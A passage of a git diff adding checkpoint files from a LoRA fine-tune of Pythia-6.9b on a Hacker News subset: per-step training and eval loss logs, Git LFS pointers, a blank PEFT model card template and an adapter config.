0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 6.171919345855713, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5553, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 2.981487512588501, + "eval_runtime": 43.8155, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 3.86953067779541, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5459, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 2.9791789054870605, + "eval_runtime": 43.8107, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.8861212730407715, + "learning_rate": 2.962962962962963e-06, + "loss": 1.5449, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 2.9787235260009766, + "eval_runtime": 43.8368, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 650 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.06509467910144e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..881d53447d9e2c725d74cb251317b04a97ad68be --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2229bdce84295f7d13a0ce6183da40c5828e547bd27b9b6c499be49aa31900b9 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ba8eb44b95c2f8fe6161ce1d321aac329c1ff9c0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7bed3a3428696bc4bfbad7261eaa3ef217d8118db767aa695712c9d977cbf0e1 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..1bd0e24dcfea6867dcdb66e0b90f3344dbd9d339 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:66fa7ea9452d536e82e5c18c4a0a05615143763aa569d9af13553a06a11128de +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..403f6f78ce81468eb12e4e1c093d8452c7d5a14e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e9e3b3eb476269cb66006445e45fa57a95b9d6fbb9998ae81b82199f9b98541e +size 627 diff --git 